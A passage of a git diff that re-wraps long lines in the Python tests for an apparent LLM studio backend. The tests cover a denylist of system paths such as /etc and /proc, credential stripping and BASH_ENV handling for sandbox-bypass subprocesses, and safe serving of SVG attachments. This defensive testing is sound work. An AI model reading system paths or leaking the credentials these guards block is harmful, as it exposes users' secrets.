{"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": "1800"}) + == 1800 + ) def test_zero_disables(): @@ -41,14 +44,16 @@ def test_zero_disables(): def test_negative_disables(): - assert bootstrap_timeout_seconds(env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": "-5"}) == 0 + assert ( + bootstrap_timeout_seconds(env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": "-5"}) == 0 + ) def test_invalid_falls_back_to_default(): # A typo must keep the protection, not silently disable it. - assert bootstrap_timeout_seconds(env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": "abc"}) == ( - DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS - ) + assert bootstrap_timeout_seconds( + env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": "abc"} + ) == (DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS) # ── should_arm_bootstrap_timeout matrix ───────────────────────────── @@ -74,11 +79,17 @@ def test_arm_exposed_wildcard_web_ui(): def test_arm_secure_loopback_bind(): # --secure forces a loopback bind but exposes a public tunnel. - assert should_arm_bootstrap_timeout(**_arm_kwargs(host = "127.0.0.1", secure = True)) is True + assert ( + should_arm_bootstrap_timeout(**_arm_kwargs(host = "127.0.0.1", secure = True)) + is True + ) def test_no_arm_loopback_bind(): - assert should_arm_bootstrap_timeout(**_arm_kwargs(host = "127.0.0.1", secure = False)) is False + assert ( + should_arm_bootstrap_timeout(**_arm_kwargs(host = "127.0.0.1", secure = False)) + is False + ) def test_no_arm_api_only(): diff --git a/studio/backend/tests/test_browse_denylist.py b/studio/backend/tests/test_browse_denylist.py index e21dc5c5a8..a88b04fb99 100644 --- a/studio/backend/tests/test_browse_denylist.py +++ b/studio/backend/tests/test_browse_denylist.py @@ -103,7 +103,15 @@ def test_is_denied_system_path_linux_allows_run_media_mounts(monkeypatch, path): @pytest.mark.parametrize( "path", - ["/etc-backup", "/etcetera", "/home/u/models", "/mnt/data", "/devices", "/", "/opt/models"], + [ + "/etc-backup", + "/etcetera", + "/home/u/models", + "/mnt/data", + "/devices", + "/", + "/opt/models", + ], ) def test_is_denied_system_path_linux_allows_non_system(monkeypatch, path): monkeypatch.setattr(studio_db.platform, "system", lambda: "Linux") @@ -114,7 +122,9 @@ def test_legacy_and_hub_denylist_agree(monkeypatch): monkeypatch.setattr(studio_db.platform, "system", lambda: "Linux") monkeypatch.setattr(scan_folders.platform, "system", lambda: "Linux") for p in ["/etc", "/proc/1", "/home/u", "/boot", "/opt/x"]: - assert studio_db.is_denied_system_path(p) == scan_folders.is_denied_system_path(p) + assert studio_db.is_denied_system_path(p) == scan_folders.is_denied_system_path( + p + ) # is_denied_system_path -- Windows (ntpath-backed), case-insensitive + collisions @@ -173,7 +183,9 @@ def _extract_resolver(): "Path": Path, "Optional": Optional, "HTTPException": _HTTPException, - "logger": SimpleNamespace(warning = lambda *a, **k: None, debug = lambda *a, **k: None), + "logger": SimpleNamespace( + warning = lambda *a, **k: None, debug = lambda *a, **k: None + ), } exec(compile(module, "", "exec"), ns) return ns["_resolve_browse_target"] @@ -343,8 +355,12 @@ def test_is_local_filesystem_root(path, pathmod, expected): def test_both_guards_use_the_shared_local_root_helper(): # Register-root parity: both browsers reject the same roots via one helper, so a # UNC-share exemption can never drift between the legacy and hub code paths. - legacy_src = (_BACKEND_ROOT / "storage" / "studio_db.py").read_text(encoding = "utf-8") - hub_src = (_BACKEND_ROOT / "hub" / "storage" / "scan_folders.py").read_text(encoding = "utf-8") + legacy_src = (_BACKEND_ROOT / "storage" / "studio_db.py").read_text( + encoding = "utf-8" + ) + hub_src = (_BACKEND_ROOT / "hub" / "storage" / "scan_folders.py").read_text( + encoding = "utf-8" + ) assert "is_local_filesystem_root(normalized)" in legacy_src assert "is_local_filesystem_root(normalized)" in hub_src diff --git a/studio/backend/tests/test_bypass_permissions.py b/studio/backend/tests/test_bypass_permissions.py index 2635f4e7c8..8fc1b21612 100644 --- a/studio/backend/tests/test_bypass_permissions.py +++ b/studio/backend/tests/test_bypass_permissions.py @@ -134,7 +134,9 @@ def captured_popen(monkeypatch): @_POSIX_ONLY -def test_python_sandboxed_uses_sandbox_preexec_and_safe_env(captured_popen, monkeypatch): +def test_python_sandboxed_uses_sandbox_preexec_and_safe_env( + captured_popen, monkeypatch +): monkeypatch.setenv("HF_TOKEN", "secret-abc") _python_exec("print(1)", None, 5, "t", disable_sandbox = False) assert captured_popen["kwargs"]["preexec_fn"] is tools._sandbox_preexec @@ -412,7 +414,9 @@ def test_bypass_env_keeps_noncredential_proxy_and_index_urls(monkeypatch, tmp_pa # internal-index networks); only credentialed values are dropped. monkeypatch.setenv("HTTP_PROXY", "http://proxy.corp.example:8080") monkeypatch.setenv("PIP_INDEX_URL", "https://pypi.corp.example/simple") - monkeypatch.setenv("PIP_EXTRA_INDEX_URL", "https://user:token@pypi.example.invalid/simple") + monkeypatch.setenv( + "PIP_EXTRA_INDEX_URL", "https://user:token@pypi.example.invalid/simple" + ) env = _build_bypass_env(str(tmp_path)) assert env["HTTP_PROXY"] == "http://proxy.corp.example:8080" assert env["PIP_INDEX_URL"] == "https://pypi.corp.example/simple" @@ -482,7 +486,9 @@ def test_connection_string_noncredential_values_are_not_flagged(value): def test_connection_string_value_stripped_even_with_benign_name(monkeypatch, tmp_path): # NAME dodges the classifier, but the VALUE is a credentialed conn string. monkeypatch.setenv("APP_DB", "Server=tcp:db;Database=app;User ID=u;Password=p@ss;") - monkeypatch.setenv("SQLCONNSTR_DB", "DefaultEndpointsProtocol=https;AccountKey=abc==") + monkeypatch.setenv( + "SQLCONNSTR_DB", "DefaultEndpointsProtocol=https;AccountKey=abc==" + ) env = _build_bypass_env(str(tmp_path)) assert "APP_DB" not in env # value-based catch assert "SQLCONNSTR_DB" not in env # name-based catch @@ -625,7 +631,9 @@ def test_bash_bypass_does_not_source_bash_env(monkeypatch, tmp_path): startup = tmp_path / "startup.sh" startup.write_text("export RECOVERED=leaked\n") monkeypatch.setenv("BASH_ENV", str(startup)) - out = _bash_exec("echo R=$RECOVERED", None, 30, "bash-env-test", disable_sandbox = True) + out = _bash_exec( + "echo R=$RECOVERED", None, 30, "bash-env-test", disable_sandbox = True + ) assert "R=leaked" not in out # BASH_ENV dropped -> startup not sourced assert "R=" in out diff --git a/studio/backend/tests/test_cached_gguf_routes.py b/studio/backend/tests/test_cached_gguf_routes.py index b3e6255d55..1a3821eb1e 100644 --- a/studio/backend/tests/test_cached_gguf_routes.py +++ b/studio/backend/tests/test_cached_gguf_routes.py @@ -66,7 +66,9 @@ def test_iter_gguf_paths_matches_extension_case_insensitively(tmp_path): assert result == ["Q4_K_M.gguf", "Q8_0.GGUF"] -def test_list_cached_gguf_includes_non_suffix_repo_when_cache_contains_gguf(monkeypatch, tmp_path): +def test_list_cached_gguf_includes_non_suffix_repo_when_cache_contains_gguf( + monkeypatch, tmp_path +): repo = _repo( "HauhauCS/Gemma-4-E4B-Uncensored-HauhauCS-Aggressive", [_file("Q4_K_M.gguf", 5_000), _file("README.md", 10)], @@ -166,7 +168,9 @@ def test_is_hidden_model_matches_repo_derived_local_paths(monkeypatch): r"C:\Users\u\.cache\huggingface\hub\models--org--model-GGUF\snapshots\abc" ) assert models_route._is_hidden_model("/lm-studio/org/model-GGUF/model-Q8_0.gguf") - assert not models_route._is_hidden_model("/lm-studio/user/model-chat/model-Q8_0.gguf") + assert not models_route._is_hidden_model( + "/lm-studio/user/model-chat/model-Q8_0.gguf" + ) assert not models_route._is_hidden_model("/cache/models--org--model-instruct") @@ -177,7 +181,9 @@ def test_is_hidden_model_prefers_existing_relative_path(monkeypatch, tmp_path): embedder = tmp_path / "models" / "embedder" embedder.mkdir(parents = True) monkeypatch.chdir(tmp_path) - monkeypatch.setattr(rag_config, "effective_embedding_model", lambda: "models/embedder") + monkeypatch.setattr( + rag_config, "effective_embedding_model", lambda: "models/embedder" + ) monkeypatch.setattr(rag_config, "effective_gguf_repo", lambda: "org/embedder-GGUF") assert models_route._is_hidden_model(str(embedder)) @@ -281,7 +287,9 @@ def test_list_cached_gguf_hides_llama_validation_probe(monkeypatch, tmp_path): tmp_path / "models--unsloth--gemma-3-270m-it-GGUF", ) monkeypatch.setattr( - models_route, "_all_hf_cache_scans", lambda: [SimpleNamespace(repos = [probe, real])] + models_route, + "_all_hf_cache_scans", + lambda: [SimpleNamespace(repos = [probe, real])], ) result = asyncio.run(models_route.list_cached_gguf(current_subject = "test-user")) @@ -311,7 +319,9 @@ def test_list_cached_gguf_skips_repos_without_positive_gguf_size(monkeypatch, tm assert result["cached"] == [] -def test_list_cached_gguf_keeps_largest_duplicate_repo_across_scans(monkeypatch, tmp_path): +def test_list_cached_gguf_keeps_largest_duplicate_repo_across_scans( + monkeypatch, tmp_path +): smaller = _repo( "Org/Dupe", [_file("Q4_K_M.gguf", 2_000)], @@ -374,7 +384,9 @@ def test_list_cached_gguf_dedupes_shared_blobs_across_revisions(monkeypatch, tmp ] -def test_list_cached_models_skips_non_suffix_repo_when_gguf_files_exist(monkeypatch, tmp_path): +def test_list_cached_models_skips_non_suffix_repo_when_gguf_files_exist( + monkeypatch, tmp_path +): mixed = _repo( "Org/MixedRepo", [ @@ -395,7 +407,9 @@ def test_list_cached_models_skips_non_suffix_repo_when_gguf_files_exist(monkeypa assert result["cached"] == [] -def test_list_cached_gguf_includes_mixed_repo_with_gguf_and_safetensors(monkeypatch, tmp_path): +def test_list_cached_gguf_includes_mixed_repo_with_gguf_and_safetensors( + monkeypatch, tmp_path +): """Mixed repo still surfaces in cached-gguf as a GGUF download.""" mixed = _repo( "Org/MixedRepo", @@ -451,7 +465,9 @@ def test_list_cached_gguf_handles_none_size_on_disk(monkeypatch, tmp_path): ] -def test_list_cached_gguf_skips_malformed_repo_without_wiping_response(monkeypatch, tmp_path): +def test_list_cached_gguf_skips_malformed_repo_without_wiping_response( + monkeypatch, tmp_path +): """One repo raising during classification must not poison the response.""" class _ExplodingRepo: @@ -533,7 +549,9 @@ def test_list_cached_models_includes_repo_with_only_mmproj_gguf(monkeypatch, tmp assert result["cached"] == [{"repo_id": "Org/MmprojAux", "size_bytes": 15_000}] -def test_list_cached_gguf_includes_vision_repo_with_main_gguf_and_mmproj(monkeypatch, tmp_path): +def test_list_cached_gguf_includes_vision_repo_with_main_gguf_and_mmproj( + monkeypatch, tmp_path +): """A vision GGUF repo (main weight + mmproj) is a GGUF repo; reported size is the main weight only, since mmproj is filtered at classification.""" vision_repo = _repo( @@ -617,7 +635,9 @@ def test_all_hf_cache_scans_survives_inaccessible_aux_cache(monkeypatch, tmp_pat ] -def test_list_cached_gguf_sorts_newest_first_grouping_by_latest_quant(monkeypatch, tmp_path): +def test_list_cached_gguf_sorts_newest_first_grouping_by_latest_quant( + monkeypatch, tmp_path +): """Downloaded is ordered newest-first, and a multi-quant repo is placed by its most recently downloaded quant (``last_modified`` = newest quant).""" older = _repo( @@ -650,13 +670,20 @@ def test_list_cached_gguf_sorts_newest_first_grouping_by_latest_quant(monkeypatc def test_list_cached_gguf_dedupe_keeps_newest_timestamp(monkeypatch, tmp_path): """Same repo in two caches with equal size keeps the newest last_modified, regardless of scan order.""" - older = _repo("org/dupe", [_gfile("dupe-Q4_K_M.gguf", 5_000, 1_000.0)], tmp_path / "a") - newer = _repo("org/dupe", [_gfile("dupe-Q4_K_M.gguf", 5_000, 9_000.0)], tmp_path / "b") + older = _repo( + "org/dupe", [_gfile("dupe-Q4_K_M.gguf", 5_000, 1_000.0)], tmp_path / "a" + ) + newer = _repo( + "org/dupe", [_gfile("dupe-Q4_K_M.gguf", 5_000, 9_000.0)], tmp_path / "b" + ) for scans in ([older, newer], [newer, older]): # both orders monkeypatch.setattr( models_route, "_all_hf_cache_scans", - lambda s = scans: [SimpleNamespace(repos = [s[0]]), SimpleNamespace(repos = [s[1]])], + lambda s = scans: [ + SimpleNamespace(repos = [s[0]]), + SimpleNamespace(repos = [s[1]]), + ], ) result = asyncio.run(models_route.list_cached_gguf(current_subject = "t")) assert len(result["cached"]) == 1 @@ -690,7 +717,9 @@ def test_gguf_variants_mmproj_does_not_mark_quant_downloaded(monkeypatch, tmp_pa snap = tmp_path / "models--org--repo" / "snapshots" / "rev" snap.mkdir(parents = True) - (snap / "model-Q4_K_M.gguf").write_bytes(b"x" * 10_000) # real weight, fully present + (snap / "model-Q4_K_M.gguf").write_bytes( + b"x" * 10_000 + ) # real weight, fully present (snap / "mmproj-F16.gguf").write_bytes(b"y" * 20_000) # mmproj adapter, label "F16" monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id: [snap]) @@ -739,12 +768,14 @@ def test_gguf_variants_ignore_big_endian_siblings(monkeypatch, tmp_path): ) ) - assert [(v.quant, v.filename, v.size_bytes, v.downloaded) for v in result.variants] == [ - ("Q4_K_M", "model-Q4_K_M.gguf", 10, True) - ] + assert [ + (v.quant, v.filename, v.size_bytes, v.downloaded) for v in result.variants + ] == [("Q4_K_M", "model-Q4_K_M.gguf", 10, True)] -def test_gguf_variants_cached_big_endian_does_not_satisfy_variant(monkeypatch, tmp_path): +def test_gguf_variants_cached_big_endian_does_not_satisfy_variant( + monkeypatch, tmp_path +): variants = [ SimpleNamespace( filename = "model-Q4_K_M.gguf", diff --git a/studio/backend/tests/test_capability_detection.py b/studio/backend/tests/test_capability_detection.py index c8e1b63468..3bc11b6176 100644 --- a/studio/backend/tests/test_capability_detection.py +++ b/studio/backend/tests/test_capability_detection.py @@ -134,7 +134,9 @@ class TestIsVlm: assert _is_vlm(c) is False def test_whisper_audio_not_vision(self): - c = _cfg(model_type = "whisper", architectures = ["WhisperForConditionalGeneration"]) + c = _cfg( + model_type = "whisper", architectures = ["WhisperForConditionalGeneration"] + ) assert _is_vlm(c) is False def test_csm_audio_not_vision(self): @@ -175,7 +177,9 @@ class TestRawConfigVisionReader: { "model_type": "deepseek_vl_v2", "architectures": ["DeepseekOCRForCausalLM"], - "auto_map": {"AutoConfig": "modeling_deepseekocr.DeepseekOCRConfig"}, + "auto_map": { + "AutoConfig": "modeling_deepseekocr.DeepseekOCRConfig" + }, "vision_config": {}, "projector_config": {}, }, @@ -190,7 +194,13 @@ class TestRawConfigVisionReader: }, True, ), - ({"model_type": "glm4_moe_lite", "architectures": ["Glm4MoeLiteForCausalLM"]}, False), + ( + { + "model_type": "glm4_moe_lite", + "architectures": ["Glm4MoeLiteForCausalLM"], + }, + False, + ), ( { "model_type": "gemma4_unified", @@ -199,12 +209,21 @@ class TestRawConfigVisionReader: }, True, ), - ({"model_type": "t5", "architectures": ["T5ForConditionalGeneration"]}, False), ( - {"model_type": "whisper", "architectures": ["WhisperForConditionalGeneration"]}, + {"model_type": "t5", "architectures": ["T5ForConditionalGeneration"]}, + False, + ), + ( + { + "model_type": "whisper", + "architectures": ["WhisperForConditionalGeneration"], + }, + False, + ), + ( + {"model_type": "csm", "architectures": ["CsmForConditionalGeneration"]}, False, ), - ({"model_type": "csm", "architectures": ["CsmForConditionalGeneration"]}, False), ], ) def test_reader(self, tmp_path, payload, expected): @@ -293,7 +312,9 @@ def test_no_code_execution_on_detection(tmp_path): ns = _load_config_for_gpu_estimate(path) raw = _load_config_json(path) - assert not sentinel.exists(), "SECURITY FAILURE: auto_map code executed during detection" + assert ( + not sentinel.exists() + ), "SECURITY FAILURE: auto_map code executed during detection" assert result is True # detected as vision via raw vision_config, no exec assert ns is not None and getattr(ns, "max_position_embeddings", None) == 4096 assert raw is not None and raw.get("model_type") == "deepseek_vl_v2" @@ -332,24 +353,55 @@ def test_no_code_execution_on_detection(tmp_path): True, ), # text / seq2seq / audio that share the ForConditionalGeneration suffix - ({"model_type": "glm4_moe_lite", "architectures": ["Glm4MoeLiteForCausalLM"]}, False), + ( + { + "model_type": "glm4_moe_lite", + "architectures": ["Glm4MoeLiteForCausalLM"], + }, + False, + ), ({"model_type": "t5", "architectures": ["T5ForConditionalGeneration"]}, False), - ({"model_type": "bart", "architectures": ["BartForConditionalGeneration"]}, False), - ({"model_type": "whisper", "architectures": ["WhisperForConditionalGeneration"]}, False), - ({"model_type": "csm", "architectures": ["CsmForConditionalGeneration"]}, False), + ( + {"model_type": "bart", "architectures": ["BartForConditionalGeneration"]}, + False, + ), + ( + { + "model_type": "whisper", + "architectures": ["WhisperForConditionalGeneration"], + }, + False, + ), + ( + {"model_type": "csm", "architectures": ["CsmForConditionalGeneration"]}, + False, + ), # registry-native VLMs via model_type - ({"model_type": "qwen2_vl", "architectures": ["Qwen2VLForConditionalGeneration"]}, True), - ({"model_type": "llava", "architectures": ["LlavaForConditionalGeneration"]}, True), + ( + { + "model_type": "qwen2_vl", + "architectures": ["Qwen2VLForConditionalGeneration"], + }, + True, + ), + ( + {"model_type": "llava", "architectures": ["LlavaForConditionalGeneration"]}, + True, + ), ], ) def test_is_vision_model_end_to_end(tmp_path, cfg, expected): path = _write_model_dir(tmp_path, cfg) - assert is_vision_model(path) is expected, f"{cfg['model_type']} expected vision={expected}" + assert ( + is_vision_model(path) is expected + ), f"{cfg['model_type']} expected vision={expected}" def test_registry_derivation(): # Registry-derived sets are large and include the curated repo-code VLMs. - assert len(_VLM_MODEL_TYPES) >= 50, f"_VLM_MODEL_TYPES too small: {len(_VLM_MODEL_TYPES)}" + assert ( + len(_VLM_MODEL_TYPES) >= 50 + ), f"_VLM_MODEL_TYPES too small: {len(_VLM_MODEL_TYPES)}" assert ( len(_AUDIO_ONLY_MODEL_TYPES) >= 20 ), f"_AUDIO_ONLY too small: {len(_AUDIO_ONLY_MODEL_TYPES)}" diff --git a/studio/backend/tests/test_chat_attachments.py b/studio/backend/tests/test_chat_attachments.py index 459587ca9e..6fce8e5369 100644 --- a/studio/backend/tests/test_chat_attachments.py +++ b/studio/backend/tests/test_chat_attachments.py @@ -195,7 +195,9 @@ def test_list_chat_attachments_skips_malformed_rows(tmp_path, monkeypatch): message_id = f"msg-bad-{i}" studio_db.upsert_chat_message(_message(message_id)) _set_raw_attachments_json(message_id, raw) - studio_db.upsert_chat_message(_message("msg-good", attachments = [_image_attachment("att-ok")])) + studio_db.upsert_chat_message( + _message("msg-good", attachments = [_image_attachment("att-ok")]) + ) records = studio_db.list_chat_attachments() assert [r["id"] for r in records] == ["att-ok"] @@ -209,7 +211,10 @@ def test_list_chat_attachments_orders_newest_first(tmp_path, monkeypatch): studio_db.upsert_chat_message( _message("msg-new", 1_700_000_100_000, [_image_attachment("att-new")]) ) - assert [r["id"] for r in studio_db.list_chat_attachments()] == ["att-new", "att-old"] + assert [r["id"] for r in studio_db.list_chat_attachments()] == [ + "att-new", + "att-old", + ] def test_list_chat_attachments_survives_missing_thread_row(tmp_path, monkeypatch): @@ -230,7 +235,9 @@ def test_list_chat_attachments_survives_missing_thread_row(tmp_path, monkeypatch def test_list_chat_attachments_includes_compare_pair_id(tmp_path, monkeypatch): _reset_studio_db(tmp_path, monkeypatch) studio_db.upsert_chat_thread(_thread(pair_id = "pair-1")) - studio_db.upsert_chat_message(_message("msg-compare", attachments = [_image_attachment()])) + studio_db.upsert_chat_message( + _message("msg-compare", attachments = [_image_attachment()]) + ) record = studio_db.list_chat_attachments()[0] assert record["threadId"] == "thread-1" assert record["pairId"] == "pair-1" @@ -304,7 +311,9 @@ def test_list_attachments_route(tmp_path, monkeypatch): def test_attachment_file_serves_image_bytes(tmp_path, monkeypatch): _seed(tmp_path, monkeypatch, [_image_attachment()]) - response = chat_history.get_attachment_file("msg-1", "att-1", current_subject = "unsloth") + response = chat_history.get_attachment_file( + "msg-1", "att-1", current_subject = "unsloth" + ) assert response.body == PNG_BYTES assert response.media_type == "image/png" @@ -313,9 +322,13 @@ def test_attachment_file_tolerates_whitespace_in_base64(tmp_path, monkeypatch): encoded = base64.b64encode(PNG_BYTES).decode("ascii") wrapped = "\n".join(encoded[i : i + 8] for i in range(0, len(encoded), 8)) attachment = _image_attachment() - attachment["content"] = [{"type": "image", "image": "data:image/png;base64," + wrapped}] + attachment["content"] = [ + {"type": "image", "image": "data:image/png;base64," + wrapped} + ] _seed(tmp_path, monkeypatch, [attachment]) - response = chat_history.get_attachment_file("msg-1", "att-1", current_subject = "unsloth") + response = chat_history.get_attachment_file( + "msg-1", "att-1", current_subject = "unsloth" + ) assert response.body == PNG_BYTES @@ -333,26 +346,38 @@ def test_attachment_file_accepts_urlsafe_base64(tmp_path, monkeypatch): payload = base64.urlsafe_b64encode(data).decode("ascii") assert "-" in payload or "_" in payload attachment = _image_attachment() - attachment["content"] = [{"type": "image", "image": "data:image/png;base64," + payload}] + attachment["content"] = [ + {"type": "image", "image": "data:image/png;base64," + payload} + ] _seed(tmp_path, monkeypatch, [attachment]) - response = chat_history.get_attachment_file("msg-1", "att-1", current_subject = "unsloth") + response = chat_history.get_attachment_file( + "msg-1", "att-1", current_subject = "unsloth" + ) assert response.body == data def test_attachment_file_accepts_missing_padding(tmp_path, monkeypatch): payload = base64.b64encode(PNG_BYTES).decode("ascii").rstrip("=") attachment = _image_attachment() - attachment["content"] = [{"type": "image", "image": "data:image/png;base64," + payload}] + attachment["content"] = [ + {"type": "image", "image": "data:image/png;base64," + payload} + ] _seed(tmp_path, monkeypatch, [attachment]) - response = chat_history.get_attachment_file("msg-1", "att-1", current_subject = "unsloth") + response = chat_history.get_attachment_file( + "msg-1", "att-1", current_subject = "unsloth" + ) assert response.body == PNG_BYTES def test_attachment_file_serves_percent_encoded_data_url(tmp_path, monkeypatch): attachment = _image_attachment() - attachment["content"] = [{"type": "image", "image": "data:text/plain,hello%20world"}] + attachment["content"] = [ + {"type": "image", "image": "data:text/plain,hello%20world"} + ] _seed(tmp_path, monkeypatch, [attachment]) - response = chat_history.get_attachment_file("msg-1", "att-1", current_subject = "unsloth") + response = chat_history.get_attachment_file( + "msg-1", "att-1", current_subject = "unsloth" + ) assert response.body == b"hello world" # Non-image data URL types are clamped so markup never renders same-origin. assert response.media_type == "application/octet-stream" @@ -369,7 +394,9 @@ def test_attachment_file_serves_text_parts(tmp_path, monkeypatch): ], } _seed(tmp_path, monkeypatch, [attachment]) - response = chat_history.get_attachment_file("msg-1", "att-txt", current_subject = "unsloth") + response = chat_history.get_attachment_file( + "msg-1", "att-txt", current_subject = "unsloth" + ) assert response.body.decode("utf-8") == "first\nsecond" assert response.media_type.startswith("text/plain") @@ -377,7 +404,9 @@ def test_attachment_file_serves_text_parts(tmp_path, monkeypatch): def test_attachment_file_no_content_is_404(tmp_path, monkeypatch): _seed(tmp_path, monkeypatch, [{"id": "att-empty", "name": "ghost", "content": []}]) with pytest.raises(HTTPException) as excinfo: - chat_history.get_attachment_file("msg-1", "att-empty", current_subject = "unsloth") + chat_history.get_attachment_file( + "msg-1", "att-empty", current_subject = "unsloth" + ) assert excinfo.value.status_code == 404 @@ -402,7 +431,9 @@ def test_attachment_file_defaults_media_type(tmp_path, monkeypatch): attachment = _image_attachment() attachment["content"] = [{"type": "image", "image": "data:;base64," + payload}] _seed(tmp_path, monkeypatch, [attachment]) - response = chat_history.get_attachment_file("msg-1", "att-1", current_subject = "unsloth") + response = chat_history.get_attachment_file( + "msg-1", "att-1", current_subject = "unsloth" + ) assert response.body == b"raw-bytes" assert response.media_type == "application/octet-stream" @@ -411,9 +442,13 @@ def test_attachment_file_svg_media_type(tmp_path, monkeypatch): svg = b"" payload = base64.b64encode(svg).decode("ascii") attachment = _image_attachment() - attachment["content"] = [{"type": "image", "image": "data:image/svg+xml;base64," + payload}] + attachment["content"] = [ + {"type": "image", "image": "data:image/svg+xml;base64," + payload} + ] _seed(tmp_path, monkeypatch, [attachment]) - response = chat_history.get_attachment_file("msg-1", "att-1", current_subject = "unsloth") + response = chat_history.get_attachment_file( + "msg-1", "att-1", current_subject = "unsloth" + ) assert response.body == svg # SVG can carry scripts, so it downloads as bytes instead of rendering. assert response.media_type == "application/octet-stream" @@ -457,7 +492,9 @@ def test_audio_attachment_lists_with_size(tmp_path, monkeypatch): def test_audio_attachment_file_serves_bytes(tmp_path, monkeypatch): _seed(tmp_path, monkeypatch, [_audio_attachment()]) - response = chat_history.get_attachment_file("msg-1", "att-audio", current_subject = "unsloth") + response = chat_history.get_attachment_file( + "msg-1", "att-audio", current_subject = "unsloth" + ) assert response.body == WAV_BYTES assert response.media_type == "audio/wav" @@ -465,18 +502,26 @@ def test_audio_attachment_file_serves_bytes(tmp_path, monkeypatch): def test_audio_attachment_media_type_from_format(tmp_path, monkeypatch): attachment = _audio_attachment() attachment["contentType"] = None - attachment["content"] = [{"type": "audio", "audio": {"data": WAV_B64, "format": "mp3"}}] + attachment["content"] = [ + {"type": "audio", "audio": {"data": WAV_B64, "format": "mp3"}} + ] _seed(tmp_path, monkeypatch, [attachment]) - response = chat_history.get_attachment_file("msg-1", "att-audio", current_subject = "unsloth") + response = chat_history.get_attachment_file( + "msg-1", "att-audio", current_subject = "unsloth" + ) assert response.media_type == "audio/mpeg" def test_audio_attachment_corrupt_payload_is_422(tmp_path, monkeypatch): attachment = _audio_attachment() - attachment["content"] = [{"type": "audio", "audio": {"data": "%%%", "format": "wav"}}] + attachment["content"] = [ + {"type": "audio", "audio": {"data": "%%%", "format": "wav"}} + ] _seed(tmp_path, monkeypatch, [attachment]) with pytest.raises(HTTPException) as excinfo: - chat_history.get_attachment_file("msg-1", "att-audio", current_subject = "unsloth") + chat_history.get_attachment_file( + "msg-1", "att-audio", current_subject = "unsloth" + ) assert excinfo.value.status_code == 422 @@ -538,7 +583,9 @@ def test_content_part_uploads_are_listed(tmp_path, monkeypatch): def test_content_part_file_serves_image_bytes(tmp_path, monkeypatch): _seed_compare(tmp_path, monkeypatch) image_id = _content_part_id_for("msg-cmp", "image") - response = chat_history.get_attachment_file("msg-cmp", image_id, current_subject = "unsloth") + response = chat_history.get_attachment_file( + "msg-cmp", image_id, current_subject = "unsloth" + ) assert response.body == PNG_BYTES assert response.media_type == "image/png" @@ -563,7 +610,10 @@ def test_content_part_delete_rejects_non_blob(tmp_path, monkeypatch): # image and audio blobs are addressable. assert len(studio_db.list_chat_attachments()) == 2 # A well-formed but unknown content-hash id, and malformed ids, all no-op. - assert studio_db.delete_chat_attachment("msg-cmp", _CONTENT_PART_PREFIX + "0" * 64) is False + assert ( + studio_db.delete_chat_attachment("msg-cmp", _CONTENT_PART_PREFIX + "0" * 64) + is False + ) assert studio_db.delete_chat_attachment("msg-cmp", "content-part-99") is False assert studio_db.delete_chat_attachment("msg-cmp", "content-part-x") is False @@ -573,7 +623,9 @@ def test_text_only_messages_not_listed_as_uploads(tmp_path, monkeypatch): studio_db.upsert_chat_thread(_thread()) # The word "image" inside text must not create phantom upload rows. message = _message("msg-txt") - message["content"] = [{"type": "text", "text": 'discussing an "image" and "audio" here'}] + message["content"] = [ + {"type": "text", "text": 'discussing an "image" and "audio" here'} + ] studio_db.upsert_chat_message(message) assert studio_db.list_chat_attachments() == [] @@ -623,12 +675,16 @@ def test_svg_data_url_serves_as_octet_stream(tmp_path, monkeypatch): ] studio_db.upsert_chat_message(message) attachment_id = _content_part_id_for("msg-svg", "image") - response = chat_history.get_attachment_file("msg-svg", attachment_id, current_subject = "unsloth") + response = chat_history.get_attachment_file( + "msg-svg", attachment_id, current_subject = "unsloth" + ) assert response.media_type == "application/octet-stream" def test_png_data_url_keeps_its_media_type(tmp_path, monkeypatch): _seed_compare(tmp_path, monkeypatch) image_id = _content_part_id_for("msg-cmp", "image") - response = chat_history.get_attachment_file("msg-cmp", image_id, current_subject = "unsloth") + response = chat_history.get_attachment_file( + "msg-cmp", image_id, current_subject = "unsloth" + ) assert response.media_type == "image/png" diff --git a/studio/backend/tests/test_chat_eos_template_refresh.py b/studio/backend/tests/test_chat_eos_template_refresh.py index 75d0117015..31e1f63a47 100644 --- a/studio/backend/tests/test_chat_eos_template_refresh.py +++ b/studio/backend/tests/test_chat_eos_template_refresh.py @@ -29,7 +29,9 @@ except (ImportError, RuntimeError) as exc: # pragma: no cover - env-dependent allow_module_level = True, ) -_CHATML = "{% for m in messages %}<|im_start|>{{m.role}}\n{{m.content}}<|im_end|>{% endfor %}" +_CHATML = ( + "{% for m in messages %}<|im_start|>{{m.role}}\n{{m.content}}<|im_end|>{% endfor %}" +) _GEMMA = "{% for m in messages %}{{m.role}}\n{{m.content}}{% endfor %}" @@ -58,7 +60,9 @@ def test_turn_end_eos_refreshed_after_generate_time_template(monkeypatch): # No chat_template at load, so the cache stored only the document eos, though # <|im_end|> is atomic in the vocab (unused until the mapper installs a template). - bare_tok = _FakeTokenizer(151643, chat_template = "", token_ids = {"<|im_end|>": 151645}) + bare_tok = _FakeTokenizer( + 151643, chat_template = "", token_ids = {"<|im_end|>": 151645} + ) model_info = { "tokenizer": bare_tok, "is_vision": False, @@ -67,20 +71,36 @@ def test_turn_end_eos_refreshed_after_generate_time_template(monkeypatch): backend.models = {backend.active_model_name: model_info} # The mapper installs a ChatML template (turns end with <|im_end|>) at generate time. - templated_tok = _FakeTokenizer(151643, chat_template = _CHATML, token_ids = {"<|im_end|>": 151645}) - monkeypatch.setattr(inf_mod, "get_chat_template", lambda tok, chat_template = None: templated_tok) + templated_tok = _FakeTokenizer( + 151643, chat_template = _CHATML, token_ids = {"<|im_end|>": 151645} + ) monkeypatch.setattr( - ds, "MODEL_TO_TEMPLATE_MAPPER", {backend.active_model_name: "qwen-2.5"}, raising = False + inf_mod, "get_chat_template", lambda tok, chat_template = None: templated_tok + ) + monkeypatch.setattr( + ds, + "MODEL_TO_TEMPLATE_MAPPER", + {backend.active_model_name: "qwen-2.5"}, + raising = False, ) # Stub the tail so the generator runs through the refresh without a real model. monkeypatch.setattr(backend, "_normalize_top_k", lambda k: k, raising = False) monkeypatch.setattr( - backend, 